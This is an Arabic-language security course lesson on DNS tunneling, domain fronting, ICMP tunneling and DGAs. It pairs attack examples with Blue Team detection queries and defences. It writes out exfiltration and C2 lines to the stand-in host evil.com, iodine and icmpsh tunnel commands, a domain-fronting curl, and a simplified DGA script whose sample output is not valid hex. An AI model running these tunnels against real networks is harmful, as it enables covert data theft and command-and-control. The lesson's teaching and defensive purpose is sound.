اعرف اللي قصادك. احمي أرضك.
الفرق الحمراء — الهجوم

DNS Tunneling & Covert Channels — البيانات بتتسرّب وانت مش حاسس

DNS exfil و ICMP/HTTPS tunneling و DGAs و fast flux

المستوى
خبير
المدة
70m
الترتيب
الدرس 75 من 85
DNSTunnelingExfilDGAIodine

ليه القنوات السرية بتخيف الـ Blue Team؟

سؤال بسيط: إيه البروتوكول اللي مفيش firewall في الدنيا يقدر يقفله؟

HTTPS؟ ممكن — مع TLS inspection.

SMTP؟ ممكن، عند الـ gateway.

DNS؟

لأ. لو قفلت DNS، الإنترنت بظابطه وقع عند الموظفين. مفيش resolution، مفيش office.com، مفيش teams، مفيش حاجة. والأخطر: مفيش أي مدير IT شجاع كفاية يقفله "ليوم واحد" عشان debug. ده بقا قانون كوني.

والـ APTs عارفة ده.

تشبيه يقرّب الفكرة
زي تهريب رسالة في رحلة ركّاب عادية. ماحدش بيفتّش كل المسافرين. بس الحرف الأول من كل اسم في قائمة الركاب بيهجّى رسالة كاملة. الـ traffic شرعي 100%. الرسالة سرية 100%. والحارس واقف عمال يبص في وشهم وما يتفرّجش على القائمة.

قصة من الواقع — DNSpionage و OilRig

2018-2019. مجموعة OilRig (إيرانية مدعومة) شغّلت حملة DNSpionage ضد جهات حكومية في لبنان والإمارات. الـ malware اسمه DNSpionage بيتواصل مع C2 عبر DNS بس. كل أمر بييجي في TXT record. كل بيانات المسروقة بتطلع في subdomain.

قدّ إيه قعدوا جوه قبل ما حد ياخد باله؟

أشهر. كل firewall كان شايف DNS عادي. كل proxy كان شايف الـ HTTPS بتاع البريد بيشتغل. ماحدش كان بيبص في DNS query strings.

الـ Blue Team لما اكتشفوا، اتضح إن الـ traffic كان بـ MB كل يوم بيخرج من DNS. ولا واحد لاحظ. الـ visibility كانت مفيش.

OPM hack في 2015 (الصينيين سرقوا بيانات 22 مليون موظف فيدرالي) — جزء كبير من الـ exfil كان عبر DNS برضه. سنة كاملة قبل ما يحسّوا.

الـ DNS هو السكة المفضّلة للـ APT لأنها ببساطة بتشتغل.

DNS — السيرفر السحري للمهاجم

  • مسموح دايماً. أي جهاز محتاجه. تقفله = تكسر الإنترنت.
  • Recursive عبر resolver داخلي. حتى لو قفلت الخروج المباشر، الـ resolver بيعمل الشغل بالنيابة عنك.
  • ضوضاء طبيعي عالي. الضوضاء الحقيقية بتخبّي الضوضاء الخبيثة.
  • الـ logs نادراً ما حد بيغوص فيها. أغلب الـ Blue Teams بتجمع NetFlow و proxy logs، بس DNS queries محدش بيبص جواها.

ميكانيكا DNS Tunneling

المهاجم عنده authoritative DNS لـ evil.com. الجهاز المخترق بيبعت الداتا في الـ subdomain:

text
# Exfil — البيانات → subdomain encoded
ZGF0YS10by1leGZpbA.evil.com
[base32-data].evil.com

# Beacon C2 — أوامر تأتي في TXT/CNAME response
$ dig TXT cmd.evil.com
;; ANSWER SECTION:
cmd.evil.com.  60  IN  TXT  "exec:whoami"

الـ resolver الداخلي يحوّل الاستعلام إلى ns.evil.com (الذي يسيطر عليه المهاجم). البيانات تصل عبر هذا الجسر.

$ # مثال عملي بـ iodine (الأقدم و الأشهر)
$ # على الخادم (المهاجم):
$ iodined -f -c -P p4ssw0rd 10.0.0.1 t.evil.com
$ # على العميل (المخترَق):
$ iodine -f -P p4ssw0rd t.evil.com
$ # الآن لديك tunnel كامل عبر DNS فقط — IP routing فوقه

أدوات شائعة

iodine
IP-over-DNS كامل. سرعة معقولة (~100KB/s). كشف سهل من حجم الـ subdomains.
dnscat2
C2 channel فقط (لا full IP). إخفاء أفضل، أبطأ. يُستخدم بكثرة في pentests.
Cobalt Strike DNS Beacon
C2 احترافي. تحكّم بـ A/AAAA/TXT records و معدلات الـ beacon.
DNScat-powershell
تنفيذ بدون binaries — كل شيء PowerShell. مناسب لـ environments محظور فيها downloads.
OOB via DNS (sslip.io / interactsh)
استخراج بيانات من SSRF / blind XSS — نسخة بسيطة، packet واحد لكل قطعة.
Sliver DNS C2
C2 framework حديث مفتوح المصدر، DNS من ضمن transports مدعومة.

HTTPS / HTTP/3 — قناة الجيل الجديد

DNS tunneling قديم. الموجة الحالية: Domain Fronting + HTTPS C2 فوق CDN معروف (CloudFront, Fastly).

text
# Domain Fronting (بات أصعب لكن لا يزال يحدث على بعض CDNs)
# SNI:   cdn.legitimate-site.com    ← ما يراه firewall
# Host:  c2.evil.com                ← ما يصل للـ origin

curl --resolve cdn.legitimate-site.com:443:1.2.3.4 \
  -H "Host: c2.evil.com" \
  https://cdn.legitimate-site.com/
  • الـ TLS مشفّر → يخفي Host header عن middleware عادي.
  • HTTP/3 (QUIC) فوق UDP/443 — كثير من الـ middleboxes لا تفكّه.
  • Encrypted Client Hello (ECH) — يخفي حتى SNI. الموجة القادمة من القنوات السرية.

ICMP و بروتوكولات أخرى

bash
# ICMP tunneling — البيانات في data field من ping
# server
icmpsh-m.py 0.0.0.0

# client (Windows victim)
icmpsh.exe -t 1.2.3.4 -d 500 -b 30 -s 128

# WebSocket — داخل WSS صعب التمييز عن traffic عادي
# SMTP/IMAP — exfil في email drafts (kept on server, never sent)
# NTP — حقول options نادراً ما تُفحص

DGAs — Domain Generation Algorithms

بدلاً من C2 ثابت يسهل حظره، malware يولّد آلاف أسماء نطاقات يومياً. واحد منها فقط مُسجّل من المهاجم. مثال (Conficker):

python
import datetime
import hashlib

def conficker_domains(date, count=250):
    seed = date.strftime("%Y-%m-%d").encode()
    domains = []
    for i in range(count):
        h = hashlib.md5(seed + i.to_bytes(2, 'big')).hexdigest()[:8]
        tld = ['.com','.net','.org','.info','.biz'][i % 5]
        domains.append(h + tld)
    return domains

print(conficker_domains(datetime.date(2026, 4, 30))[:5])
# ['a1b2c3d4.com', '5e6f7g8h.net', ...]

Fast Flux: نفس النطاق يتغيّر IP الخاص به كل بضع دقائق (TTL منخفض، آلاف bots كـ proxy).

الكشف — كيف يصطاد الـ Blue Team هذه

kql
// Microsoft Sentinel — كشف entropy عالي في subdomains
DnsEvents
| where TimeGenerated > ago(1h) and SubType == "LookupQuery"
| extend Subdomain = extract(@"^([^.]+)\.", 1, Name)
| extend Length = strlen(Subdomain)
| where Length > 30
| extend Entropy = todouble(strlen(replace_regex(Subdomain, @"[^a-z0-9]", ""))) / Length
| summarize Queries=count(), AvgLen=avg(Length) by ClientIP, Domain=extract(@"\.([^.]+\.[^.]+)$", 1, Name)
| where Queries > 50 and AvgLen > 30
| order by Queries desc
bash
# Zeek — قواعد دفاعية حول DNS
# zeek-cut من dns.log
cat dns.log.gz | zcat | zeek-cut id.orig_h query | \
  awk '{print $1, length($2)}' | \
  awk '$2 > 50 {count[$1]++} END {for (i in count) if (count[i] > 100) print i, count[i]}'

الحماية — بناء المظلة

  1. DNS مركزي. لا تسمح للـ endpoints بـ DNS مباشر. كل شيء عبر resolver داخلي يسجّل بالكامل.
  2. DNS Firewall (RPZ) — حظر nationally bad TLDs و categories معروفة سيئة.
  3. Threat Intelligence feeds — قائمة DGA domains (DGArchive, dnsdb) → block.
  4. Egress filtering — منع DoH/DoT المباشر (UDP/853, well-known DoH endpoints) إلا للـ resolver.
  5. TLS Inspection حيث ممكن قانونياً — يفكّ Domain Fronting.
  6. Beaconing detection — RITA, Zeek + Spicy تكشف الـ jitter المنتظم.
  7. Anomaly ML — Cloudflare/Akamai/Microsoft Defender for DNS يحوي نماذج جاهزة لـ DGA و tunneling.

ميدان التدريب — ما تحتاج لتجرّب

  • Lab: domain خاصة بك ($10/سنة)، VPS بسيط، ضحية افتراضية.
  • أدوات: iodine, dnscat2, Sliver، interactsh للـ OOB البسيط.
  • تحليل: Wireshark + Zeek + RITA على الـ pcap.
  • قياس: قارن DNS query rate قبل و أثناء الـ tunnel — هذا يعلّم Blue Team.
خلّصت الدرس؟

علّمه علشان تفضل عارف انت فين على السكة.